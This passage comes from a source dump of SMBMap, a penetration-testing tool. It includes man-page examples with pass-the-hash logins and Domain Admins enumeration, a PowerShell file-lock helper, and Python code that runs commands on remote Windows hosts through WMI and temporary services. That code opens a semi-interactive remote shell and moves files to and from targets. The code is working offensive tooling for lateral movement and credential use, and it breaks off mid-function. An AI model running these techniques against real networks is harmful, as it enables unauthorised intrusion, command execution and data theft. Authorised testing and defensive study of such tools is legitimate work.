119 | Options for searching the content of files (must run as root), kind of experimental
120 | .TP
121 | \fB\-F\fR PATTERN
122 | File content search, \fB\-F\fR '[Pp]assword' (requries admin
123 | access to execute commands, and powershell on victim
124 | host)
125 | .TP
126 | \fB\-\-search\-path\fR PATH
127 | Specify drive/path to search (used with \fB\-F\fR, default
128 | C:\eUsers), ex 'D:\eHR\e'
129 | .TP
130 | \fB\-\-search-timeout\fR TIMEOUT
131 | Specifcy a timeout (in seconds) before the file search job gets killed. Default
132 | is 300 seconds
133 | .SS "Filesystem interaction:"
134 | .IP
135 | Options for interacting with the specified host's filesystem
136 | .TP
137 | \fB\-\-download\fR PATH
138 | Download a file from the remote system,
139 | ex.'C$\etemp\epasswords.txt'
140 | .TP
141 | \fB\-\-upload\fR SRC DST
142 | Upload a file to the remote system ex.
143 | \&'/tmp/payload.exe C$\etemp\epayload.exe'
144 | .TP
145 | \fB\-\-delete\fR PATH_TO_FILE
146 | Delete a remote file, ex. 'C$\etemp\emsf.exe'
147 | .TP
148 | \fB\-\-skip\fR
149 | Skip delete file confirmation prompt
150 | .SH EXAMPLES:
151 | \fB$ python smbmap.py \-u jsmith \-p password1 \-d workgroup \-H 192.168.0.1\fR
152 | .br
153 | \fB$ python smbmap.py \-u jsmith \-p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' \-H 172.16.0.20\fR
154 | .br
155 | \fB $ python smbmap.py \-u 'apadmin' \-p 'asdf1234!' \-d ACME \-H 10.1.3.30 \-x 'net group "Domain Admins" /domain'\fR
156 | .SH AUTHOR
157 | smbmap was developed by ShawnDEvans
158 | .PP
159 | This manual page was written by Samuel Henrique for the
160 | Debian project, it was based on \fBsmbmap -h\fR output and can be used by other
161 | projects as well.
162 |
--------------------------------------------------------------------------------
/smbmap/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ShawnDEvans/smbmap/6af1b5984208dd922cba730434eb68d60f4b37cc/smbmap/__init__.py
--------------------------------------------------------------------------------
/smbmap/psutils/Get-FileLockProcess.ps1:
--------------------------------------------------------------------------------
1 | function Get-FileLockProcess($FilePath) {
2 |
3 |
4 | ##### BEGIN Variable/Parameter Transforms and PreRun Prep #####
5 |
6 | if (! $(Test-Path $FilePath)) {
7 | Write-Error "The path $FilePath was not found! Halting!"
8 | $global:FunctionResult = "1"
9 | return
10 | }
11 |
12 | ##### END Variable/Parameter Transforms and PreRun Prep #####
13 |
14 |
15 | ##### BEGIN Main Body #####
16 |
17 | if ($PSVersionTable.PSEdition -eq "Desktop" -or $PSVersionTable.Platform -eq "Win32NT" -or
18 | $($PSVersionTable.PSVersion.Major -le 5 -and $PSVersionTable.PSVersion.Major -ge 3)) {
19 | $CurrentlyLoadedAssemblies = [System.AppDomain]::CurrentDomain.GetAssemblies()
20 |
21 | $AssembliesFullInfo = $CurrentlyLoadedAssemblies | Where-Object {
22 | $_.GetName().Name -eq "Microsoft.CSharp" -or
23 | $_.GetName().Name -eq "mscorlib" -or
24 | $_.GetName().Name -eq "System" -or
25 | $_.GetName().Name -eq "System.Collections" -or
26 | $_.GetName().Name -eq "System.Core" -or
27 | $_.GetName().Name -eq "System.IO" -or
28 | $_.GetName().Name -eq "System.Linq" -or
29 | $_.GetName().Name -eq "System.Runtime" -or
30 | $_.GetName().Name -eq "System.Runtime.Extensions" -or
31 | $_.GetName().Name -eq "System.Runtime.InteropServices"
32 | }
33 | $AssembliesFullInfo = $AssembliesFullInfo | Where-Object {$_.IsDynamic -eq $False}
34 |
35 | $ReferencedAssemblies = $AssembliesFullInfo.FullName | Sort-Object | Get-Unique
36 |
37 | $usingStatementsAsString = @"
38 | using Microsoft.CSharp;
39 | using System.Collections.Generic;
40 | using System.Collections;
41 | using System.IO;
42 | using System.Linq;
43 | using System.Runtime.InteropServices;
44 | using System.Runtime;
45 | using System;
46 | using System.Diagnostics;
47 | "@
48 |
49 | $TypeDefinition = @"
50 | $usingStatementsAsString
51 |
52 | namespace MyCore.Utils
53 | {
54 | static public class FileLockUtil
55 | {
56 | [StructLayout(LayoutKind.Sequential)]
57 | struct RM_UNIQUE_PROCESS
58 | {
59 | public int dwProcessId;
60 | public System.Runtime.InteropServices.ComTypes.FILETIME ProcessStartTime;
61 | }
62 |
63 | const int RmRebootReasonNone = 0;
64 | const int CCH_RM_MAX_APP_NAME = 255;
65 | const int CCH_RM_MAX_SVC_NAME = 63;
66 |
67 | enum RM_APP_TYPE
68 | {
69 | RmUnknownApp = 0,
70 | RmMainWindow = 1,
71 | RmOtherWindow = 2,
72 | RmService = 3,
73 | RmExplorer = 4,
74 | RmConsole = 5,
75 | RmCritical = 1000
76 | }
77 |
78 | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
79 | struct RM_PROCESS_INFO
80 | {
81 | public RM_UNIQUE_PROCESS Process;
82 |
83 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_APP_NAME + 1)]
84 | public string strAppName;
85 |
86 | [MarshalAs(UnmanagedType.ByValTStr, SizeConst = CCH_RM_MAX_SVC_NAME + 1)]
87 | public string strServiceShortName;
88 |
89 | public RM_APP_TYPE ApplicationType;
90 | public uint AppStatus;
91 | public uint TSSessionId;
92 | [MarshalAs(UnmanagedType.Bool)]
93 | public bool bRestartable;
94 | }
95 |
96 | [DllImport("rstrtmgr.dll", CharSet = CharSet.Unicode)]
97 | static extern int RmRegisterResources(uint pSessionHandle,
98 | UInt32 nFiles,
99 | string[] rgsFilenames,
100 | UInt32 nApplications,
101 | [In] RM_UNIQUE_PROCESS[] rgApplications,
102 | UInt32 nServices,
103 | string[] rgsServiceNames);
104 |
105 | [DllImport("rstrtmgr.dll", CharSet = CharSet.Auto)]
106 | static extern int RmStartSession(out uint pSessionHandle, int dwSessionFlags, string strSessionKey);
107 |
108 | [DllImport("rstrtmgr.dll")]
109 | static extern int RmEndSession(uint pSessionHandle);
110 |
111 | [DllImport("rstrtmgr.dll")]
112 | static extern int RmGetList(uint dwSessionHandle,
113 | out uint pnProcInfoNeeded,
114 | ref uint pnProcInfo,
115 | [In, Out] RM_PROCESS_INFO[] rgAffectedApps,
116 | ref uint lpdwRebootReasons);
117 |
118 | ///
119 | /// Find out what process(es) have a lock on the specified file.
120 | ///
121 | /// Path of the file.
122 | /// Processes locking the file
123 | /// See also:
124 | /// http://msdn.microsoft.com/en-us/library/windows/desktop/aa373661(v=vs.85).aspx
125 | /// http://wyupdate.googlecode.com/svn-history/r401/trunk/frmFilesInUse.cs (no copyright in code at time of viewing)
126 | ///
127 | ///
128 | static public List WhoIsLocking(string path)
129 | {
130 | uint handle;
131 | string key = Guid.NewGuid().ToString();
132 | List processes = new List();
133 |
134 | int res = RmStartSession(out handle, 0, key);
135 | if (res != 0) throw new Exception("Could not begin restart session. Unable to determine file locker.");
136 |
137 | try
138 | {
139 | const int ERROR_MORE_DATA = 234;
140 | uint pnProcInfoNeeded = 0,
141 | pnProcInfo = 0,
142 | lpdwRebootReasons = RmRebootReasonNone;
143 |
144 | string[] resources = new string[] { path }; // Just checking on one resource.
145 |
146 | res = RmRegisterResources(handle, (uint)resources.Length, resources, 0, null, 0, null);
147 |
148 | if (res != 0) throw new Exception("Could not register resource.");
149 |
150 | //Note: there's a race condition here -- the first call to RmGetList() returns
151 | // the total number of process. However, when we call RmGetList() again to get
152 | // the actual processes this number may have increased.
153 | res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, null, ref lpdwRebootReasons);
154 |
155 | if (res == ERROR_MORE_DATA)
156 | {
157 | // Create an array to store the process results
158 | RM_PROCESS_INFO[] processInfo = new RM_PROCESS_INFO[pnProcInfoNeeded];
159 | pnProcInfo = pnProcInfoNeeded;
160 |
161 | // Get the list
162 | res = RmGetList(handle, out pnProcInfoNeeded, ref pnProcInfo, processInfo, ref lpdwRebootReasons);
163 | if (res == 0)
164 | {
165 | processes = new List((int)pnProcInfo);
166 |
167 | // Enumerate all of the results and add them to the
168 | // list to be returned
169 | for (int i = 0; i < pnProcInfo; i++)
170 | {
171 | try
172 | {
173 | processes.Add(Process.GetProcessById(processInfo[i].Process.dwProcessId));
174 | }
175 | // catch the error -- in case the process is no longer running
176 | catch (ArgumentException) { }
177 | }
178 | }
179 | else throw new Exception("Could not list processes locking resource.");
180 | }
181 | else if (res != 0) throw new Exception("Could not list processes locking resource. Failed to get size of result.");
182 | }
183 | finally
184 | {
185 | RmEndSession(handle);
186 | }
187 |
188 | return processes;
189 | }
190 | }
191 | }
192 | "@
193 |
194 |
195 | $CheckMyCoreUtilsFileLockUtilLoaded = $CurrentlyLoadedAssemblies | Where-Object {$_.ExportedTypes -like "MyCore.Utils.FileLockUtil*"}
196 | if ($CheckMyCoreUtilsFileLockUtilLoaded -eq $null) {
197 | Add-Type -ReferencedAssemblies $ReferencedAssemblies -TypeDefinition $TypeDefinition
198 | }
199 | else {
200 | Write-Output "The Namespace MyCore.Utils Class FileLockUtil is already loaded and available!"
201 | }
202 |
203 | $Result = [MyCore.Utils.FileLockUtil]::WhoIsLocking($FilePath)
204 |
205 | }
206 | if ($PSVersionTable.Platform -ne $null -and $PSVersionTable.Platform -ne "Win32NT") {
207 | $lsofOutput = lsof $FilePath
208 |
209 | function Parse-lsofStrings ($lsofOutput, $Index) {
210 | $($lsofOutput[$Index] -split " " | foreach {
211 | if (![String]::IsNullOrWhiteSpace($_)) {
212 | $_
213 | }
214 | }).Trim()
215 | }
216 |
217 | $lsofOutputHeaders = Parse-lsofStrings -lsofOutput $lsofOutput -Index 0
218 | $lsofOutputValues = Parse-lsofStrings -lsofOutput $lsofOutput -Index 1
219 |
220 | $Result = [pscustomobject]@{}
221 | for ($i=0; $i -lt $lsofOutputHeaders.Count; $i++) {
222 | $Result | Add-Member -MemberType NoteProperty -Name $lsofOutputHeaders[$i] -Value $lsofOutputValues[$i]
223 | }
224 | }
225 |
226 | $Result.Id
227 |
228 | ##### END Main Body #####
229 |
230 | }
231 |
232 |
233 | if ($args.Length -eq 0)
234 | {
235 | echo "Usage: Get-FileLockProcess "
236 | }
237 | else
238 | {
239 | Get-FileLockProcess($args[0])
240 | }
241 |
242 |
--------------------------------------------------------------------------------
/smbmap/smbmap.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | import sys
3 | import traceback
4 | import uuid
5 | import signal
6 | import string
7 | import time
8 | import random
9 | import string
10 | import logging
11 | import configparser
12 | import argparse
13 | import ipaddress
14 | import inspect
15 | import csv
16 | import getpass
17 | import resource
18 | import shutil
19 |
20 | from threading import Thread, Event
21 | from multiprocessing.pool import Pool
22 | from impacket.examples import logger
23 | from impacket import version, smbserver
24 | from impacket.smbserver import SRVSServer
25 | from impacket.smbserver import WKSTServer
26 | from impacket.smbconnection import *
27 | from impacket.dcerpc.v5 import transport, scmr
28 | from impacket.dcerpc.v5.dcomrt import DCOMConnection
29 | from impacket.dcerpc.v5.dcom import wmi
30 | from impacket.dcerpc.v5.dtypes import NULL
31 | from impacket.smb3structs import *
32 |
33 | import ntpath
34 | import cmd
35 | import os
36 | import re
37 |
38 | from termcolor import colored as termcolored
39 |
40 | # A lot of this code was taken from Impacket's own examples
41 | # https://github.com/SecureAuthCorp/impacket/
42 | # Seriously, the most amazing Python library ever!!
43 | # Many thanks to that dev team
44 |
45 | rlimit = resource.getrlimit(resource.RLIMIT_NOFILE)
46 | resource.setrlimit(resource.RLIMIT_NOFILE, (4096, rlimit[1]))
47 |
48 | OUTPUT_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz',10))
49 | BATCH_FILENAME = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz', 10)) + '.bat'
50 | SMBSERVER_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
51 | DUMMY_SHARE = 'TMP'
52 | PERM_DIR = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
53 | PSUTIL_DIR= 'psutils'
54 | PSUTIL_SHARE = ''.join(random.sample('ABCDEFGHIGJLMNOPQRSTUVWXYZ', 10))
55 | VERBOSE = False
56 | USE_TERMCOLOR=True
57 | SEND_UPDATE_MSG=True
58 | PORT_SCAN_TIMEOUT = .5
59 | USE_CCACHE = False
60 |
61 | banner = r"""
62 | ________ ___ ___ _______ ___ ___ __ _______
63 | /" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
64 | (: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
65 | \___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
66 | __/ \ |: \. |(| _ \ |: \. | // __' \ (| /
67 | /" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
68 | (_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
69 | -----------------------------------------------------------------------------
70 | SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
71 | https://github.com/ShawnDEvans/smbmap
72 | """
73 |
74 |
75 | def colored(msg, *args, **kwargs):
76 | global USE_TERMCOLOR
77 | if USE_TERMCOLOR:
78 | return termcolored(msg, *args, **kwargs)
79 | return msg
80 |
81 |
82 | class Loader(Thread):
83 | def __init__(self, msg='Working on it', spinner='\\|/-'):
84 | Thread.__init__(self)
85 | self.__running = Event()
86 | self.__running.set()
87 | self.__flag = Event()
88 | self.__flag.set()
89 | self._spinner = spinner
90 | self._msg = msg
91 | self._padding = 0
92 |
93 | def update(self, msg):
94 | self._msg = msg
95 | self.calculate_padding()
96 |
97 | def terminate(self):
98 | self.__flag.set()
99 | self.__running.clear()
100 |
101 | def pause(self):
102 | self.__flag.clear()
103 |
104 | def resume(self):
105 | self.__flag.set()
106 |
107 | def cleanup(self):
108 | print(' ' * self._padding, end='\r')
109 |
110 | def calculate_padding(self):
111 | terminal_width = shutil.get_terminal_size((80, 24)).columns
112 | message_length = len(self._msg) + 10
113 | self._padding = max(terminal_width - message_length, 0)
114 |
115 | def run(self):
116 | global SEND_UPDATE_MSG
117 | while self.__running.is_set():
118 | for char in self._spinner:
119 | if SEND_UPDATE_MSG:
120 | self.__flag.wait()
121 | print(f"[{char}] {self._msg}{' ' * self._padding}", end='\r', flush=True)
122 | time.sleep(0.05)
123 |
124 | class SimpleSMBServer(Thread):
125 | def __init__(self, interface_address, port):
126 | Thread.__init__(self)
127 | self.smbserver = smbserver.SimpleSMBServer(listenAddress = interface_address, listenPort = int(port))
128 | self.smbserver.addShare(PSUTIL_SHARE, PSUTIL_DIR, shareComment='P0w3r$he11')
129 | self.smbserver.setSMB2Support(True)
130 |
131 | def run(self):
132 | self.smbserver.start()
133 |
134 | def stop(self):
135 | self.smbserver.stop()
136 |
137 | class SMBServer(Thread):
138 | def __init__(self):
139 | Thread.__init__(self)
140 | self.smb = None
141 | print('[+] Initializing SMB server..')
142 |
143 | def cleanup_server(self):
144 | logging.info('Cleaning up..')
145 | try:
146 | os.unlink(SMBSERVER_DIR + '/smb.log')
147 | except:
148 | pass
149 | os.rmdir(SMBSERVER_DIR)
150 |
151 | def run(self):
152 | # Here we write a mini config for the server
153 | smbConfig = configparser.ConfigParser(allow_no_value=True)
154 | smbConfig.add_section('global')
155 | smbConfig.set('global','server_name','nopsec')
156 | smbConfig.set('global','server_os','UNIX')
157 | smbConfig.set('global','server_domain','WORKGROUP')
158 | smbConfig.set('global','log_file', SMBSERVER_DIR + '/smb.log')
159 | smbConfig.set('global','credentials_file','')
160 |
161 | # Let's add a dummy share
162 | smbConfig.add_section(DUMMY_SHARE)
163 | smbConfig.set(DUMMY_SHARE,'comment','')
164 | smbConfig.set(DUMMY_SHARE,'read only','no')
165 | smbConfig.set(DUMMY_SHARE,'share type','0')
166 | smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
167 |
168 | # IPC always needed
169 | smbConfig.add_section('IPC$')
170 | smbConfig.set('IPC$','comment','')
171 | smbConfig.set('IPC$','read only','yes')
172 | smbConfig.set('IPC$','share type','3')
173 | smbConfig.set('IPC$','path')
174 |
175 | self.smb = smbserver.SMBSERVER(('0.0.0.0', 445), config_parser = smbConfig)
176 |
177 | try:
178 | os.mkdir(SMBSERVER_DIR)
179 | except Exception as e:
180 | pass
181 |
182 | self.smb.processConfigFile()
183 | self.__srvsServer = SRVSServer()
184 | self.__srvsServer.daemon = True
185 | self.__wkstServer = WKSTServer()
186 | self.__wkstServer.daemon = True
187 | self.smb.registerNamedPipe('srvsvc',('127.0.0.1',self.__srvsServer.getListenPort()))
188 | self.smb.registerNamedPipe('wkssvc',('127.0.0.1',self.__wkstServer.getListenPort()))
189 | try:
190 | print('[+] SMB server started...')
191 | self.__srvsServer.start()
192 | self.__wkstServer.start()
193 | self.smb.serve_forever()
194 | except Exception as e:
195 | print('[!] Error starting SMB server: ', e)
196 | pass
197 |
198 | def stop(self):
199 | self.cleanup_server()
200 | self.smb.socket.close()
201 | self.smb.server_close()
202 | self._Thread__stop()
203 |
204 | class WMIEXEC:
205 | def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
206 | noOutput=False, doKerberos=False, kdcHost=None, scr_output=True):
207 | self.__command = command
208 | self.__username = username
209 | self.__password = password
210 | self.__domain = domain
211 | self.__lmhash = ''
212 | self.__nthash = ''
213 | self.__aesKey = aesKey
214 | self.__share = share
215 | self.__noOutput = noOutput
216 | self.__doKerberos = doKerberos
217 | self.__kdcHost = kdcHost
218 | self.__disp_output = scr_output
219 | self.shell = None
220 | if hashes is not None:
221 | self.__lmhash, self.__nthash = hashes.split(':')
222 |
223 | def run(self, addr):
224 | if self.__noOutput is False:
225 | smbConnection = SMBConnection(addr, addr)
226 | if self.__doKerberos is False:
227 | smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
228 | else:
229 | smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
230 | self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
231 | dialect = smbConnection.getDialect()
232 | if dialect == SMB_DIALECT:
233 | logging.info("SMBv1 dialect used")
234 | elif dialect == SMB2_DIALECT_002:
235 | logging.info("SMBv2.0 dialect used")
236 | elif dialect == SMB2_DIALECT_21:
237 | logging.info("SMBv2.1 dialect used")
238 | else:
239 | logging.info("SMBv3.0 dialect used")
240 | else:
241 | smbConnection = None
242 |
243 | dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
244 | self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
245 | try:
246 | iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
247 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
248 | iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
249 | iWbemLevel1Login.RemRelease()
250 |
251 | win32Process,_ = iWbemServices.GetObject('Win32_Process')
252 |
253 | self.shell = RemoteShellWMI(self.__share, win32Process, smbConnection, self.__disp_output)
254 | if self.__command != ' ':
255 | output = self.shell.onecmd(self.__command)
256 | else:
257 | self.shell.cmdloop()
258 | except (Exception, KeyboardInterrupt) as e:
259 | logging.error(str(e))
260 | if smbConnection is not None:
261 | smbConnection.logoff()
262 | dcom.disconnect()
263 | sys.stdout.flush()
264 | #sys.exit(1)
265 |
266 | if smbConnection is not None:
267 | smbConnection.logoff()
268 | dcom.disconnect()
269 | return output
270 |
271 | class RemoteShellWMI(cmd.Cmd):
272 | def __init__(self, share, win32Process, smbConnection, disp_output=True):
273 | cmd.Cmd.__init__(self)
274 | self.__share = share
275 | self.__output = '\\' + OUTPUT_FILENAME
276 | self.__outputBuffer = ''
277 | self.__shell = 'cmd.exe /Q /c '
278 | self.__win32Process = win32Process
279 | self.__transferClient = smbConnection
280 | self.__pwd = 'C:\\'
281 | self.__noOutput = False
282 | self.__disp_output = disp_output
283 | self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
284 |
285 | # We don't wanna deal with timeouts from now on.
286 | if self.__transferClient is not None:
287 | self.__transferClient.setTimeout(100000)
288 | self.do_cd('\\')
289 | else:
290 | self.__noOutput = True
291 |
292 | def do_shell(self, s):
293 | os.system(s)
294 |
295 | def do_help(self, line):
296 | print("""
297 | lcd {path} - changes the current local directory to {path}
298 | exit - terminates the server process (and this session)
299 | put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
300 | get {file} - downloads pathname to the current local dir
301 | ! {cmd} - executes a local shell cmd
302 | """)
303 |
304 | def do_lcd(self, s):
305 | if s == '':
306 | print(os.getcwd())
307 | else:
308 | try:
309 | os.chdir(s)
310 | except Exception as e:
311 | logging.error(str(e))
312 |
313 | def do_get(self, src_path):
314 | try:
315 | newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
316 | drive, tail = ntpath.splitdrive(newPath)
317 | filename = ntpath.basename(tail)
318 | fh = open(filename,'wb')
319 | logging.info("Downloading %s\\%s" % (drive, tail))
320 | self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
321 | fh.close()
322 | except Exception as e:
323 | logging.error(str(e))
324 | os.remove(filename)
325 | pass
326 |
327 | def do_put(self, s):
328 | try:
329 | params = s.split(' ')
330 | if len(params) > 1:
331 | src_path = params[0]
332 | dst_path = params[1]
333 | elif len(params) == 1:
334 | src_path = params[0]
335 | dst_path = ''
336 |
337 | src_file = os.path.basename(src_path)
338 | fh = open(src_path, 'rb')
339 | dst_path = string.replace(dst_path, '/','\\')
340 | pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
341 | drive, tail = ntpath.splitdrive(pathname)
342 | logging.info("Uploading %s to %s" % (src_file, pathname))
343 | self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
344 | fh.close()
345 | except Exception as e:
346 | logging.critical(str(e))
347 | pass
348 |
349 | def do_exit(self, s):
350 | return True
351 |
352 | def emptyline(self):
353 | return False
354 |
355 | def do_cd(self, s):
356 | self.execute_remote('cd ' + s)
357 | if len(self.__outputBuffer.strip('\r\n')) > 0:
358 | print(self.__outputBuffer)
359 | self.__outputBuffer = ''
360 | else:
361 | self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s))
362 | self.execute_remote('cd ')
363 | self.__pwd = self.__outputBuffer.strip('\r\n')
364 | self.prompt = self.__pwd + '>'
365 | self.__outputBuffer = ''
366 |
367 | def default(self, line):
368 | # Let's try to guess if the user is trying to change drive
369 | if len(line) == 2 and line[1] == ':':
370 | # Execute the command and see if the drive is valid
371 | self.execute_remote(line)
372 | if len(self.__outputBuffer.strip('\r\n')) > 0:
373 | print(self.__outputBuffer)
374 | self.__outputBuffer = ''
375 | else:
376 | # Drive valid, now we should get the current path
377 | self.__pwd = line
378 | self.execute_remote('cd ')
379 | self.__pwd = self.__outputBuffer.strip('\r\n')
380 | self.prompt = self.__pwd + '>'
381 | self.__outputBuffer = ''
382 | else:
383 | if line != '':
384 | x = inspect.currentframe()
385 | y = inspect.getouterframes(x,2)
386 | return self.send_data(line)
387 |
388 | def get_output(self):
389 | def output_callback(data):
390 | self.__outputBuffer += data.decode()
391 |
392 | if self.__noOutput is True:
393 | self.__outputBuffer = ''
394 | return
395 |
396 | while True:
397 | try:
398 | self.__transferClient.getFile(self.__share, self.__output, output_callback)
399 | break
400 | except Exception as e:
401 | if str(e).find('STATUS_SHARING_VIOLATION') >=0:
402 | # Output not finished, let's wait
403 | time.sleep(1)
404 | pass
405 | else:
406 | pass
407 | self.__transferClient.deleteFile(self.__share, self.__output)
408 | return self.__output
409 |
410 | def execute_remote(self, data):
411 | command = self.__shell + data
412 | if self.__noOutput is False:
413 | command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
414 | self.__win32Process.Create(command, self.__pwd, None)
415 | self.get_output()
416 |
417 | def send_data(self, data):
418 | self.execute_remote(data)
419 | if self.__disp_output:
420 | print(self.__outputBuffer)
421 | __lastCmdOutput = self.__outputBuffer
422 | self.__outputBuffer = ''
423 | return __lastCmdOutput
424 |
425 | class CMDEXEC:
426 | def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, noOutput=False,
427 | doKerberos=None, kdcHost=None, mode='SHARE', share=None, port=445, command=None):
428 |
429 | self.__username = username
430 | self.__password = password
431 | self.__port = port
432 | self.__serviceName = OUTPUT_FILENAME
433 | self.__domain = domain
434 | self.__lmhash = ''
435 | self.__nthash = ''
436 | self.__aesKey = aesKey
437 | self.__doKerberos = doKerberos
438 | self.__kdcHost = kdcHost
439 | self.__share = share
440 | self.__mode = mode
441 | self.shell = None
442 | self.command = command
443 | if hashes is not None:
444 | self.__lmhash, self.__nthash = hashes.split(':')
445 |
446 | def run(self, remoteName, remoteHost):
447 | tringbinding = 'ncacn_np:%s[\\pipe\\svcctl]' % remoteName
448 | logging.debug('StringBinding %s'%stringbinding)
449 | rpctransport = transport.DCERPCTransportFactory(stringbinding)
450 | rpctransport.set_dport(self.__port)
451 | if hasattr(rpctransport,'setRemoteHost'):
452 | rpctransport.setRemoteHost(remoteHost)
453 | else:
454 | rpctransport.__dstip = remoteHost
455 | if hasattr(rpctransport,'preferred_dialect'):
456 | rpctransport.preferred_dialect(SMB_DIALECT)
457 | if hasattr(rpctransport, 'set_credentials'):
458 | # This method exists only for selected protocol sequences.
459 | rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
460 | #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
461 |
462 | self.shell = None
463 | try:
464 | if self.__mode == 'SERVER':
465 | serverThread = SMBServer()
466 | serverThread.daemon = True
467 | serverThread.start()
468 | self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)
469 | self.shell.send_data(self.command)
470 | if self.__mode == 'SERVER':
471 | serverThread.stop()
472 | except (Exception, KeyboardInterrupt) as e:
473 | print('[!] Something went wrong:', str(e))
474 |
475 | class RemoteShell(cmd.Cmd):
476 | def __init__(self, share, rpc, mode, serviceName):
477 | cmd.Cmd.__init__(self)
478 | self.__share = share
479 | self.__mode = mode
480 | self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
481 | self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
482 | self.__outputBuffer = ''
483 | self.__command = ''
484 | self.__shell = '%COMSPEC% /Q /c '
485 | self.__serviceName = serviceName
486 | self.__rpc = rpc
487 |
488 | self.__scmr = rpc.get_dce_rpc()
489 | try:
490 | self.__scmr.connect()
491 | except Exception as e:
492 | logging.critical(str(e))
493 | #print(e)
494 | #sys.exit(1)
495 |
496 | s = rpc.get_smb_connection()
497 |
498 | # We don't wanna deal with timeouts from now on.
499 | s.setTimeout(100000)
500 | if mode == 'SERVER':
501 | myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
502 | self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
503 |
504 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
505 | resp = scmr.hROpenSCManagerW(self.__scmr)
506 | self.__scHandle = resp['lpScHandle']
507 | self.transferClient = rpc.get_smb_connection()
508 | self.do_cd('')
509 |
510 | def finish(self):
511 | # Just in case the service is still created
512 | try:
513 | self.__scmr = self.__rpc.get_dce_rpc()
514 | self.__scmr.connect()
515 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
516 | resp = scmr.hROpenSCManagerW(self.__scmr)
517 | self.__scHandle = resp['lpScHandle']
518 | resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
519 | service = resp['lpServiceHandle']
520 | scmr.hRDeleteService(self.__scmr, service)
521 | scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
522 | scmr.hRCloseServiceHandle(self.__scmr, service)
523 | except:
524 | pass
525 |
526 | def do_shell(self, s):
527 | os.system(s)
528 |
529 | def do_exit(self, s):
530 | return True
531 |
532 | def emptyline(self):
533 | return False
534 |
535 | def do_cd(self, s):
536 | # We just can't CD or mantain track of the target dir.
537 | if len(s) > 0:
538 | logging.error("You can't CD under SMBEXEC. Use full paths.")
539 |
540 | self.execute_remote('cd ' )
541 | if len(self.__outputBuffer) > 0:
542 | # Stripping CR/LF
543 | self.prompt = self.__outputBuffer.replace('\r\n','') + '>'
544 | self.__outputBuffer = ''
545 |
546 | def do_CD(self, s):
547 | return self.do_cd(s)
548 |
549 | def default(self, line):
550 | if line != '':
551 | self.send_data(line)
552 |
553 | def get_output(self):
554 | def output_callback(data):
555 | self.__outputBuffer += data.decode()
556 |
557 | if self.__mode == 'SHARE':
558 | self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
559 | self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
560 | else:
561 | fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
562 | output_callback(fd.read())
563 | fd.close()
564 | os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
565 |
566 | def execute_remote(self, data):
567 | command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
568 | self.__shell + self.__batchFile
569 | if self.__mode == 'SERVER':
570 | command += ' & ' + self.__copyBack
571 | command += ' & ' + 'del ' + self.__batchFile
572 |
573 | logging.debug('Executing %s' % command)
574 | resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
575 | service = resp['lpServiceHandle']
576 |
577 | try:
578 | scmr.hRStartServiceW(self.__scmr, service)
